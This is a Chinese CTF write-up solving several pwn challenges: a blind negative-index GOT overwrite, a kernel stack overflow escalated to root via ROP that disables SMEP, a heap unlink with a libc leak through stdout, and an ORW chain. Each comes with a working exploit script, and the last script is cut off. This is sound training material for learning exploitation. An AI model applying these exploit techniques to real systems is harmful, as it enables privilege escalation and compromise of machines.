【WriteUp】高校抗“疫”网络安全分享赛 -- Pwn 题解

WriteUp

wtcl

bjut

Description:

本题由北京工业大学GXY提供
作业在线提交系统是你在家自学的好帮手
nc 121.37.167.199 9997

Solution:

一道盲 pwn，利用负数来泄露程序和 libc，因为不会找 got 地址，看不懂程序写的啥

所以就接着爆破，-1800 多下标有很多地方可以泄露 got 表，改成 one_gadget 就好了，libc 是 2.29

exp 如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
    p = process('./hw')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
else:
    p = remote('121.37.167.199', 9997)
    libc = ELF('./libc.so.6', checksec=False)
    libc_one_gadget = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]


def add(add_length, add_content):
    p.sendlineafter(' ######################## \n>', '1')
    p.sendlineafter('The length of your hw:\n', str(add_length))
    p.sendlineafter('Input your hw:\n', add_content)


def edit(edit_idx, edit_content):
    p.sendlineafter('#### \n>', '2')
    p.sendlineafter('The index of your hw:\n', str(edit_idx))
    p.sendafter('Input your hw:\n', edit_content)


def show(show_idx):
    p.sendlineafter(' ######################## \n>', '4')
    p.sendlineafter('The index of your hw:\n', str(show_idx))
    if p.recv(3) == 'out':
        return 'NULL.tmp'
    p.recvuntil('hw:\n')

def submit():
    p.sendline('5')


j = -1879
add(0x10, '/bin/sh\x00')
show(j)
base_padding = ''
for i in range(3):
    base_padding += p.recvuntil('\x7f\x00\x00')
res = p.recvuntil('\x7f\x00\x00')
base_padding += res[-8:]
addr_puts = u64(res[-8:])
libcbase = addr_puts - libc.sym['write']
addr_system = libcbase + libc.sym['system']
addr_one_gadget = libcbase + libc_one_gadget[0]
success('addr_puts   = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))

base_padding = p64(addr_one_gadget) * 8
edit(j, base_padding)
submit()
p.interactive()

Flag:

1
无

babyhacker

Description:

本题由广州大学Team233战队提供。
baby kernel, have a try.
nc 121.36.215.224 9001

Solution:

程序保护如下：

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Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x0)

startvm.sh 文件如下：

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#!/bin/bash

#stty intr ^]
#cd `dirname $0`
timeout --foreground 15 qemu-system-x86_64 \
    -m 512M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=2,threads=4 \
    -cpu qemu64,smep,smap 2>/dev/null

这里调试的时候 15 改大点，不然就 15 秒连接时间，kaslr 改成 nokaslr

rcS 文件如下：

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#!/bin/sh

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/babyhacker.ko
chmod 644 /dev/babyhacker
echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
chown -R root /flag
chmod 400 /flag


chown -R 1000:1000 .
setsid cttyhack setuidgid 1000 sh

umount /proc
poweroff -f

利用 lsmod 找到 nokaslr 的时候模块加载基地址为 0xffffffffc0000000，于是调试代码如下：

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gdb-multiarch ./vmlinux -ex "set architecture i386:x86-64" -ex "add-symbol-file ./babyhacker.ko 0xffffffffc0000000" -ex "target remote localhost:2222"

主要函数如下：

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__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rbp
  file *rdx1; // rdx
  signed __int16 v5; // di
  int v4[80]; // [rsp+0h] [rbp-150h]
  unsigned __int64 v8; // [rsp+140h] [rbp-10h]
  __int64 v9; // [rsp+148h] [rbp-8h]

  _fentry__(file);
  v9 = v3;
  v5 = (signed __int16)rdx1;
  v8 = __readgsqword(0x28u);
  switch ( cmd )
  {
    case 0x30001u:
      babyhacker_ioctl_0(rdx1, *(__int64 *)&cmd, (unsigned __int64)rdx1, (__int64)&v9);
      break;
    case 0x30002u:
      copy_to_user(rdx1, v4, buffersize);
      break;
    case 0x30000u:
      if ( (signed int)rdx1 >= 11 )
        v5 = 10;
      buffersize = v5;
      break;
  }
  return 0LL;
}

v5 是 di，rdx1 是 signed int，所以我们可以输入负数，靠这个负数值的后两位当作 buffersize 的大小，我设置的大小是 0x200

之后靠 0x30002 来泄露栈内数据，用 0x30001 来写入数据即可

exp 如下：

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#include <err.h>
#include <fcntl.h>
#include <stdint.h>

struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810a1430;
uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810a1820;

void shell(){
    system("/bin/sh");
}

void templine(){
    commit_creds(prepare_kernel_cred(0));
    asm(
        "movq $tf, %rsp;"
        "swapgs;"
        "iretq;"
    );
}

void save_status(){
    asm(
        "mov %%cs, %0;"
        "mov %%ss,%1;"
        "mov %%rsp,%3;"
        "pushfq;"
        "popq %2;"
        :"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp)
        :
        : "memory"
    );
    tf.rsp -= 0x1000;
    tf.rip = &shell;
}

int main(int argc, char *argv[]){
    save_status();
    uint64_t temp[0x200];
    int driver_fd = open("/dev/babyhacker", O_RDONLY);
    if(driver_fd < 0){
        err(2, "open failed");
    }
    ioctl(driver_fd, 0x30000, -2147483136);  // 0x200
    ioctl(driver_fd, 0x30002, &temp);
    int i;
    for(i = 0; i < 0x30; ++i){
        printf("[0x%03x] %p\n", i, temp[i]);
    }
    uint64_t stack_no_kaslr = 0xffffffff82311720;
    uint64_t stackbase = temp[0x005] - stack_no_kaslr;
    uint64_t iCanary = temp[0x028];
    uint64_t rop_pop_rdi_ret = stackbase + 0xffffffff8109054d;
    uint64_t rop_mov_cr4_rdi = stackbase + 0xffffffff81004d70;
    commit_creds += stackbase;
    prepare_kernel_cred += stackbase;
    printf("[+]stack_no_kaslr      = %p\n", stack_no_kaslr);
    printf("[+]iCanary             = %p\n", iCanary);
    printf("[+]rop_pop_rdi_ret     = %p\n", rop_pop_rdi_ret);
    printf("[+]rop_mov_cr4_rdi     = %p\n", rop_mov_cr4_rdi);
    printf("[+]commit_creds        = %p\n", commit_creds);
    printf("[+]prepare_kernel_cred = %p\n", prepare_kernel_cred);
    i = 0x28;
    temp[i++] = iCanary;
    i++;
    temp[i++] = rop_pop_rdi_ret;
    temp[i++] = 0x6f0;
    temp[i++] = rop_mov_cr4_rdi;
    i++;
    temp[i++] = &templine;
    ioctl(driver_fd, 0x30001, &temp);
    return 0;
}

Flag:

1
flag{B4by_k3rler_1s_such_2_3aby!!!!!!!!!!!!!!}

babyhacker2

题跟 babyhacker 一样，可能因为 babyhacker 的 flag 忘删了就补了一个 2

这两题我当时没做，以为很难……

easyheap

Description:

本题由南京航空航天大学Asuri战队提供
Just a easy heap
nc 121.36.209.145 9997

Solution:

程序保护如下：

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Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下：

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void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_4007F6();
  puts("Welcome to message manager!");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = input();
      if ( v3 != 2 )
        break;
      delete();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        edit();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Wrong choice!!!");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}

add 函数如下：

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int add()
{
  void **v1; // rbx
  signed int i; // [rsp+8h] [rbp-18h]
  int nbytes; // [rsp+Ch] [rbp-14h]

  for ( i = 0; ptr[i]; ++i )
    ;
  if ( i > 2 )
    return puts("Too many items!");
  ptr[i] = malloc(0x10uLL);
  puts("How long is this message?");
  nbytes = input();
  if ( nbytes > 1024 )
    return puts("Too much size!");
  *(ptr[i] + 2) = nbytes;
  v1 = ptr[i];
  *v1 = malloc(nbytes);
  puts("What is the content of the message?");
  read(0, *ptr[i], nbytes);
  return puts("Add successfully.");
}

这有漏洞点，可以看到如果输入的长度大于 0x400 的话会无法分配那个任意大小的 chunk，但是无论如何都会给你分配一个 0x20 的堆块

delete 函数如下：

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int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( ++dword_6020AC > 4 )
    return puts("Delete failed.");
  puts("What is the index of the item to be deleted?");
  v1 = input();
  if ( v1 < 0 || v1 > 6 || !ptr[v1] )
    return puts("Delete failed.");
  free(*ptr[v1]);
  free(ptr[v1]);
  ptr[v1] = 0LL;
  return puts("Delete successfully.");
}

edit 函数如下：

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int edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( ++dword_6020B0 > 6 )
    return puts("Delete failed.");
  puts("What is the index of the item to be modified?");
  v1 = input();
  if ( v1 < 0 || v1 > 6 || !ptr[v1] )
    return puts("Edit failed.");
  puts("What is the content of the message?");
  read(0, *ptr[v1], *(ptr[v1] + 2));
  return puts("Edit successfully.");
}

exp 如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./easyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('121.36.209.145', 9997)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./easyheap', checksec=False)


def add(add_len, add_content):
    p.sendafter('Your choice:\n', '1')
    p.sendafter('How long is this message?\n', str(add_len))
    if add_len > 0x400:
        return
    p.sendafter('What is the content of the message?\n', add_content)


def delete(delete_idx):
    p.sendafter('Your choice:\n', '2')
    p.sendafter('item to be deleted?\n', str(delete_idx))


def edit(edit_idx, edit_content):
    p.sendafter('Your choice:\n', '3')
    p.sendafter('item to be modified?\n', str(edit_idx))
    p.sendafter('the message?\n', str(edit_content))


got_atoi = elf.got['atoi']
plt_puts = elf.plt['puts']
addr_ptr = 0x6020C0
addr_stdout = 0x602080
# chunk overlap
add(0x500, '0')
add(0x500, '1')
add(0x60, '2')
delete(1)
delete(2)
add(0x500, '1')
pd = p64(0) + p64(0x21)
pd += '\x00' * 0x10
pd += p64(0xa0) + p64(0x21)
pd += p64(addr_ptr - 0x38)
edit(1, pd)
pd = p64(0x1000)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
pd += p64(0xffffffffffffffff) + p64(0xffffffffffffffff)
pd += p64(addr_stdout) + p64(addr_ptr + 8) + p64(0x1000) * 2
edit(1, pd)

# use _IO_2_1_stdout_ leak libc
pd = p64(0xfbad1887)
pd += p64(0) * 3
pd += '\x00'
edit(0, pd)
p.recv(0x18)
addr__IO_file_jumps = u64(p.recv(6).ljust(8, '\x00'))
addr_system = addr__IO_file_jumps - 0x37e350
libcbase = addr_system - libc.sym['system']

edit(1, p64(addr_ptr + 0x10) + p64(got_atoi))
edit(1, p64(addr_system))
p.sendline('/bin/sh')
success('_IO_file_jumps = ' + hex(addr__IO_file_jumps))
success('addr_system    = ' + hex(addr_system))
# gdb.attach(p)
p.interactive()

Flag:

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flag{asinsdfweusadqnmzposlakkdf}

lgd

Description:

本题由陆军工程大学str4nge战队提供
nc 121.36.209.145 9998

Solution:

程序保护如下：

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Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

程序开了 seccomp，保护如下：

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 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc000003e  if (A != ARCH_X86_64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x02 0x00 0x40000000  if (A >= 0x40000000) goto 0006
 0004: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x06 0x00 0x00 0x00000000  return KILL

所以这道题只能 orw 了，不过今天用 shellcraft.cat() 函数发现了其实还可以 open 加上 sendfile，大致调用如下：

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──────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 RAX  0x28
 RBX  0x0
 RCX  0x603314 ← 0x89487fffffffba41
 RDX  0x0
 RDI  0x1
 RSI  0x3
 R8   0x0
 R9   0x0
 R10  0x7fffffff
 R11  0x346
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x603588 ← 0x67616c662f /* '/flag' */
 RIP  0x603324 ← 0x50f
────────────────────────────────────────[ DISASM ]────────────────────────────────────────
 ► 0x603324    syscall  <SYS_sendfile>
        out_fd: 0x1
        in_fd: 0x3
        offset: 0x0
        count: 0x7fffffff

接下来看函数流程即漏洞，这破题加了一堆没用的代码就是为了恶心人……

以下所有 emmm 函数一律没用

题目知识点：

snprintf 函数原型为：

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int snprintf(char *str, size_t size, const char *format, ...)

将可变参数 "..." 按照 format 的格式格式化为字符串，然后再将其拷贝至str中

如果格式化后的字符串长度 ≥ size，则只将其中的 (size - 1) 个字符复制到 str 中，并给其后添加一个字符串结束符 \x00

返回值为格式化后的字符串长度，也就是说该返回值我们是可以控制的

main 函数如下：

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void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-114h]
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  no_use_1();
  no_use_1();
  seccomp();
  puts("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------");
  puts("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------");
  puts("----------------dalao-----------ddddddddddddaidaidaidaidai wo-----------------------------");
  puts("son call babaaa,what is your name? ");
  read(0, &buf, 0x100uLL);
  while ( 1 )
  {
    menu();
    _isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
}

add 函数如下（漏洞点）：

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unsigned __int64 add()
{
  int v0; // eax
  int v1; // eax
  int v2; // eax
  bool v3; // al
  int v4; // eax
  int v5; // eax
  int v7; // [rsp+0h] [rbp-10h]
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v9; // [rsp+8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  for ( i = 0; i <= 31 && buf[i]; ++i )
    ;
  if ( i == 32 )
  {
    puts("full!");
  }
  else
  {
    puts("______?");
    _isoc99_scanf("%d", &v7);
    if ( v7 >= 0 && v7 <= 0x1000 )
    {
      buf[i] = malloc(v7);                      // execute;important
      puts("start_the_game,yes_or_no?");
      read(0, &input_603060, 0x200uLL);         // execute;important
      if ( dword_60303C / dword_603010 > 1 )
      {
        if ( dword_60303C % dword_603010 )
        {
          if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
          {
            if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
            {
              if ( dword_603010 * dword_603010 > dword_60303C )
                emmm(dword_603010, dword_60303C + 1, dword_603040);
            }
            else
            {
              emmm(
                dword_603010,
                dword_60303C + 1,
                dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
            }
          }
          else
          {
            emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
      }
      if ( dword_60303C / dword_603010 > 1 )
      {
        if ( dword_60303C % dword_603010 )
        {
          if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
          {
            if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
            {
              if ( dword_603010 * dword_603010 > dword_60303C )
                emmm(dword_603010, dword_60303C + 1, dword_603040);
            }
            else
            {
              emmm(
                dword_603010,
                dword_60303C + 1,
                dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
            }
          }
          else
          {
            emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
      }
      v7 = snprintf(byte_6033E0, v7, "%s", &input_603060);// execute;important;bug
      if ( dword_60303C / dword_603010 > 1 )
      {
        if ( dword_60303C % dword_603010 )
        {
          if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
          {
            if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
            {
              if ( dword_603010 * dword_603010 > dword_60303C )
                emmm(dword_603010, dword_60303C + 1, dword_603040);
            }
            else
            {
              emmm(
                dword_603010,
                dword_60303C + 1,
                dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
            }
          }
          else
          {
            emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
      }
      if ( dword_60303C / dword_603010 > 1 )
      {
        if ( dword_60303C % dword_603010 )
        {
          if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
          {
            if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
            {
              if ( dword_603010 * dword_603010 > dword_60303C )
                emmm(dword_603010, dword_60303C + 1, dword_603040);
            }
            else
            {
              emmm(
                dword_603010,
                dword_60303C + 1,
                dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
            }
          }
          else
          {
            emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
      }
      if ( dword_603010 <= dword_60303C )
        v0 = dword_603040;
      else
        v0 = dword_60303C;                      // execute
      if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
        v1 = dword_60303C;                      // execute
      else
        v1 = dword_603040;
      dword_60303C = v1;                        // execute
      if ( dword_603010 <= v1 )
        v2 = dword_603040;
      else
        v2 = dword_60303C;                      // execute
      if ( v2 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
        v3 = dword_60303C != 0;                 // execute
      else
        v3 = dword_603040 != 0;
      if ( v3 )
      {
        if ( dword_603010 <= dword_60303C )
          v4 = dword_603040;
        else
          v4 = dword_60303C;
        if ( v4 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
          v5 = dword_60303C;
        else
          v5 = dword_603040;
        size[i] = v5;
      }
      else
      {
        size[i] = v7;                           // execute;important;bug
      }
      if ( dword_60303C / dword_603010 > 1 )
      {
        if ( dword_60303C % dword_603010 )
        {
          if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
          {
            if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
            {
              if ( dword_603010 * dword_603010 > dword_60303C )
                emmm(dword_603010, dword_60303C + 1, dword_603040);
            }
            else
            {
              emmm(
                dword_603010,
                dword_60303C + 1,
                dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
            }
          }
          else
          {
            emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
      }
      if ( dword_60303C / dword_603010 > 1 )
      {
        if ( dword_60303C % dword_603010 )
        {
          if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
          {
            if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
            {
              if ( dword_603010 * dword_603010 > dword_60303C )
                emmm(dword_603010, dword_60303C + 1, dword_603040);
            }
            else
            {
              emmm(
                dword_603010,
                dword_60303C + 1,
                dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
            }
          }
          else
          {
            emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
      }
    }
    else
    {
      puts("invalid __");
    }
  }
  return __readfsqword(0x28u) ^ v9;
}

挑挑拣拣 add 函数其实就是如下功能，只要你输入的字符串长度大于申请的堆块大小：

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unsigned __int64 add()
{
  int v7; // [rsp+0h] [rbp-10h]
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v9; // [rsp+8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  for ( i = 0; i <= 31 && buf[i]; ++i )
    ;
  if ( i == 32 )
  {
    puts("full!");
  }
  else
  {
    puts("______?");
    _isoc99_scanf("%d", &v7);
    if ( v7 >= 0 && v7 <= 0x1000 )
    {
      buf[i] = malloc(v7);                      // execute;important
      puts("start_the_game,yes_or_no?");
      read(0, &input_603060, 0x200uLL);         // execute;important
	  v7 = snprintf(byte_6033E0, v7, "%s", &input_603060);// execute;important;bug
	  size[i] = v7;                           // execute;important;bug
	}
  return __readfsqword(0x28u) ^ v9;
}

这个漏洞是结合 edit 函数一起用的

edit 函数如下：

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unsigned __int64 edit()
{
  int v0; // eax
  int v1; // eax
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("index ?");
  _isoc99_scanf("%d", &v3);
  if ( v3 >= 0 && v3 <= 31 && buf[v3] )
  {
    puts("___c___r__s__++___c___new_content ?");
    if ( dword_603010 <= dword_60303C )
      v0 = dword_603040;
    else
      v0 = dword_60303C;                        // execute
    if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
      v1 = dword_60303C;                        // execute
    else
      v1 = dword_603040;
    dword_60303C = v1;                          // execute
    read(0, buf[v3], size[v3]);                 // execute;important
  }
  else
  {
    puts("invalid index");
  }
  return __readfsqword(0x28u) ^ v4;
}

也就是你能在堆块里随意越界写，这题就开始走白给路线了

delete 函数如下：

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unsigned __int64 delete()
{
  int v0; // eax
  int v1; // eax
  int v2; // eax
  char *v3; // rax
  int v4; // eax
  char *v5; // rax
  int v7; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  puts("index ?");
  _isoc99_scanf("%d", &v7);
  if ( v7 >= 0 && v7 <= 31 && buf[v7] )
  {
    if ( dword_60303C / dword_603010 > 1 )
    {
      if ( dword_60303C % dword_603010 )
      {
        if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
        {
          if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
          {
            if ( dword_603010 * dword_603010 > dword_60303C )
              emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
          else
          {
            emmm(
              dword_603010,
              dword_60303C + 1,
              dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_603040);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
      }
    }
    else
    {
      emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
    }
    if ( dword_60303C / dword_603010 > 1 )
    {
      if ( dword_60303C % dword_603010 )
      {
        if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
        {
          if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
          {
            if ( dword_603010 * dword_603010 > dword_60303C )
              emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
          else
          {
            emmm(
              dword_603010,
              dword_60303C + 1,
              dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_603040);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
      }
    }
    else
    {
      emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
    }
    free(buf[v7]);                              // execute;important
    if ( dword_60303C / dword_603010 > 1 )
    {
      if ( dword_60303C % dword_603010 )
      {
        if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
        {
          if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
          {
            if ( dword_603010 * dword_603010 > dword_60303C )
              emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
          else
          {
            emmm(
              dword_603010,
              dword_60303C + 1,
              dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_603040);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
      }
    }
    else
    {
      emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
    }
    if ( dword_60303C / dword_603010 > 1 )
    {
      if ( dword_60303C % dword_603010 )
      {
        if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
        {
          if ( dword_60303C % dword_603010 <= 1 || dword_60303C % dword_603010 >= dword_60303C / dword_603010 )
          {
            if ( dword_603010 * dword_603010 > dword_60303C )
              emmm(dword_603010, dword_60303C + 1, dword_603040);
          }
          else
          {
            emmm(
              dword_603010,
              dword_60303C + 1,
              dword_603040 + (dword_60303C / dword_603010 % (dword_60303C % dword_603010) == 0));
          }
        }
        else
        {
          emmm(dword_603010, dword_60303C + 1, dword_603040);
        }
      }
      else
      {
        emmm(dword_603010, dword_60303C + 1, dword_60303C % dword_603010);
      }
    }
    else
    {
      emmm(dword_603010, dword_60303C + 1, dword_603040);// execute
    }
    if ( dword_603010 <= dword_60303C )
      v0 = dword_603040;
    else
      v0 = dword_60303C;                        // execute
    if ( v0 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
      v1 = dword_60303C;                        // execute
    else
      v1 = dword_603040;
    dword_60303C = v1;                          // execute
    if ( v1 )
    {
      if ( dword_603010 <= dword_60303C )
        v2 = dword_603040;
      else
        v2 = dword_60303C;
      if ( v2 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
        v3 = dword_60303C;
      else
        v3 = dword_603040;
      buf[v7] = v3;
    }
    else
    {
      if ( dword_603010 <= dword_60303C )
        v4 = dword_603040;
      else
        v4 = dword_60303C;                      // execute
      if ( v4 <= dword_603010 && dword_60303C > dword_603040 || dword_603040 <= dword_60303C )
        v5 = dword_60303C;                      // execute
      else
        v5 = dword_603040;
      buf[v7] = v5;                             // execute;important
    }
  }
  else
  {
    puts("invalid index");
  }
  return __readfsqword(0x28u) ^ v8;
}

这个函数也是废话一大堆，挑挑拣拣后如下：

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unsigned __int64 delete()
{
  char *v5; // rax
  int v7; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  puts("index ?");
  _isoc99_scanf("%d", &v7);
  if ( v7 >= 0 && v7 <= 31 && buf[v7] )
  {
    free(buf[v7]);                              // execute;important
	v5 = 0;
	buf[v7] = v5;                             // execute;important
  }
  else
  {
    puts("invalid index");
  }
  return __readfsqword(0x28u) ^ v8;
}

说白了就正常 free 一个函数

show 函数如下：

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unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 31 && buf[v1] )
    puts(buf[v1]);
  else
    puts("invalid index");
  return __readfsqword(0x28u) ^ v2;
}

很正常的 show 函数

解题思路：

利用点就是靠越界写：double free，unlink 都可以，这里我用的 unlink

一开始泄露 libc 很容易，没啥烦人的地方，之后 unlink 改 __malloc_hook 为 csu 中最后 pop 那一段

记得还要带个 rsp + 8，以此可以跳转到一开始你输入名字的栈地址，达成栈迁移的作用

注意只有 __malloc_hook 满足这个条件，反正我试 __free_hook 失败了

在写名字的地方利用 csu 写入函数read(0, addr_bss, 0x500);来为之后输入 rop 和 shellcode 做铺垫

程序开了 nx 保护不妨碍 rop，利用上面的 read 函数在 bss 段利用 csu 构造好 mprotect 函数的调用，将 bss 段地址变成可执行 shellcode 的地址

rop 里再写上返回地址 (shellcode 地址)，和 shellcode 就完事了

exp 如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./chall')
else:
    p = remote('challenge-44f02604bacb251b.sandbox.ctfhub.com', 33314)
elf = ELF('./chall', checksec=False)


def amd64_csu(r12, edi, rsi, rdx, last_ret):
    global addr_csu_front, addr_csu_end
    payload = p64(addr_csu_end)
    payload += p64(0) * 2
    payload += p64(1)
